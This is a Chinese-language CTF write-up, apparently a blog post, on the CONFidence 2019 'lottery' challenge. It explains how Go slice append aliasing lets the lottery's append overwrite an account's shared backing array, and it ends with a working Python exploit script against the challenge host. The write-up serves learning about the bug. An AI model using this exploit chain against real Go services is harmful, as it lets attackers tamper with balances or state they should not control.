美文网首页CTF
Teaser CONFidence CTF 2019 "

Teaser CONFidence CTF 2019 "

作者: _LuckyCat_ | 来源:发表于2019-03-21 13:47 被阅读18次

    题目提供了源码跟docker环境

    分析流程

    init.go中定义了路由

        r.Get("/", handler.IndexGet)
        r.Post("/account", handler.AccountAdd)
        r.Post("/account/{name}/amount", handler.AccountAddAmount)
        r.Get("/account/{name}", handler.AccountGet)
        r.Post("/lottery/add", handler.LotteryAdd)
        r.Get("/lottery/results", handler.LotteryResults)
    

    易得
    post请求/account获得一个新的账号{"name":"MlhisQoxBGUiqCHA","amounts":[]}
    post请求/account/MlhisQoxBGUiqCHA/amount,data为{"amount":99},为当前账号增加99金钱。这里需要注意的是只能添加4次,并且范围为0-99
    get请求/account/MlhisQoxBGUiqCHA,获得当前账号信息。如果金钱大于100w或者中了奖,就会在个人信息中显示flag
    post请求/lottery/add,data为{"accountName":"MlhisQoxBGUiqCHA"},往lottery列表中添加当前账户
    get请求/lottery/results,获取中奖者信息

    发现问题

    在看源码的过程中,发现用户金额是用一个int数组来储存

    type Account struct {
        Name    string `json:"name"`
        Amounts []int  `json:"amounts"`
    }
    

    想到go的slice在append时会有奇怪的事情发生

    package main
    
    import (
        "fmt"
    )
    
    func main() {
        var a []int
        a = append(a,1)
        a = append(a,1)
        a = append(a,1)
        b := append(a,2)
        c := append(a,3)
        fmt.Println(b,c)
    }   
    

    最后输出的结果为

    [1 1 1 3] [1 1 1 3]
    

    c的最后一个元素把b的最后一个元素覆盖了

    问题成因

    go的slice的结构为


    a在append进一个元素时,ptr指向0x1(假设),len为1,cap为2
    在append进第二个元素时,ptr指向0x1,len为2,cap为2
    在append进第三个元素时,容量不够了,所以要进行扩容,于是cap就扩容成4,len为3,因为分配了更大容量的内存,所以ptr指向了新的地方0x2
    现在,a的属性为ptr=0x2, len=3, cap=4
    在append进2时,不需要进行扩容,所以append函数将2添加进0x2中的第四个位置,并返回ptr=0x2, len=4, cap=4赋值给b。注意这里a的len还是为3,所以就算0x2是[1,1,1,2],也只能显示[1,1,1]
    在append进3时,同b的步骤,因为append函数第一个参数还是a,所以len≤cap,不需要扩容,就直接把0x2的第四个位置覆盖成3,原来这里是2
    所以最终结果就是[1 1 1 3] [1 1 1 3]

    寻找bug

    于是,我就把重点放在了对Account的操作上,主要有以下几个地方

    app/account.go

    func (a *Account) AddAmount(amount int) error {
        if amount < 0 || amount > MaxAmount {
            return errors.Wrapf(ErrInvalidData, "amount must be positive and less than %d: got '%d'", MaxAmount+1, amount)
        }
        if len(a.Amounts) >= MaxAmountsLen {
            return errors.Wrapf(ErrInvalidData, "reached maximum number of amounts (%d)", MaxAmountsLen)
        }
        a.Amounts = append(a.Amounts, amount)
        return nil
    }
    

    为账户添加金额

    app/lottery.go

    func (l *Lottery) Add(account Account) {
        l.mutex.Lock()
        defer l.mutex.Unlock()
        l.accounts[account.Name] = account
    }
    

    将用户加进lottery列表中

    func (l *Lottery) evaluate() {
        l.mutex.Lock()
        defer l.mutex.Unlock()
        accounts := l.accounts
        l.winners = make(map[string]struct{})
        l.accounts = make(map[string]Account)
        for name, account := range accounts {
            amounts := append(account.Amounts, randInt(999913, 3700000))
            sum := 0
            for _, a := range amounts {
                sum += a
            }
            if sum == 0x133700 {
                l.winners[name] = struct{}{}
            }
        }
    

    开奖

    Add()account拷贝进了l中,evaluate()l中的account取出,并对其中的Amount进行了append操作,所以如果能构造一个len=3 cap=4Amount并使它以此经过AddAmountevaluate的处理,不就会将最后一个元素修改为至少100w的值吗?于是利用链就出来了

    利用链

    先请求三次增加金额,当前账户的Amount结构就为

                     +---------------------------+
                     |                           |
                     |            99             |
                     |                           |
                     +---------------------------+
                     |                           |
                     |            99             |
                     |                           |
                     +---------------------------+
                     |                           |
                     |            99             |
                     |                           |
    len=3----------> +---------------------------+
                     |                           |
                     |                           |
                     |                           |
    cap=4----------> +---------------------------+
    
    

    再请求/lottery/add,将当前account复制到l中,现在l中的account.Amountlen=3
    再请求/account/xxxx/amount增加一次金额

                     +---------------------------+
                     |                           |
                     |            99             |
                     |                           |
                     +---------------------------+
                     |                           |
                     |            99             |
                     |                           |
                     +---------------------------+
                     |                           |
                     |            99             |
                     |                           |
                     +---------------------------+
                     |                           |
                     |            99             |
                     |                           |
    cap=4+---------> +---------------------------+  <---------+ len=4
    

    但是因为l中的account.Amountlen=3,所以在开奖的时候,append(account.Amounts, randInt(999913, 3700000)),不会对account.Amounts进行扩容,所以还是对0x2(假设)的最后一个元素进行覆盖,所以将99覆盖成了100w以上的数,这样账户中的金额就轻轻松松超过100w,flag到手
    这里我在这几个地方把地址打印出来,验证了最后len=3的时候是对同一个地址进行操作

    ---Account Add Amount---
    0xc00000a100
    2019/03/21 10:40:09 "POST http://127.0.0.1:8080/account/XKejcVvkPeJgDDyt/amount HTTP/1.1" from 127.0.0.1:59982 - 204 0B in 0s
    ---Account Add Amount---
    0xc0001081f0
    2019/03/21 10:40:09 "POST http://127.0.0.1:8080/account/XKejcVvkPeJgDDyt/amount HTTP/1.1" from 127.0.0.1:59983 - 204 0B in 0s
    ---Account Add Amount---
    0xc000116a00
    2019/03/21 10:40:09 "POST http://127.0.0.1:8080/account/XKejcVvkPeJgDDyt/amount HTTP/1.1" from 127.0.0.1:59984 - 204 0B in 0s
    ---Lottery Add---
    0xc000116a00
    2019/03/21 10:40:09 "POST http://127.0.0.1:8080/lottery/add HTTP/1.1" from 127.0.0.1:59985 - 201 0B in 0s
    ---Account Add Amount---
    0xc000116a00
    2019/03/21 10:40:09 "POST http://127.0.0.1:8080/account/XKejcVvkPeJgDDyt/amount HTTP/1.1" from 127.0.0.1:59986 - 204 0B in 0s
    ---Lottery evaluate---
    0xc000116a00
    

    POC

    import requests
    import json
    import time
    
    url = "https://lottery.zajebistyc.tf"
    
    r = requests.post(url+"/account")
    name = json.loads(r.content)['name']
    requests.post(url+"/account/"+name+"/amount", data='{"amount":99}')
    requests.post(url+"/account/"+name+"/amount", data='{"amount":99}')
    requests.post(url+"/account/"+name+"/amount", data='{"amount":99}')
    requests.post(url+"/lottery/add", data='{{"accountName":"{}"}}'.format(name))
    requests.post(url+"/account/"+name+"/amount", data='{"amount":99}')
    time.sleep(5)
    r = requests.get(url+"/account/"+name)
    print r.text
    

    参考

    https://www.zhihu.com/question/27161493
    https://github.com/mwarzynski/confidence2019_teaser_lottery

    相关文章

      网友评论

        本文标题:Teaser CONFidence CTF 2019 "

        本文链接:https://www.haomeiwen.com/subject/juqqvqtx.html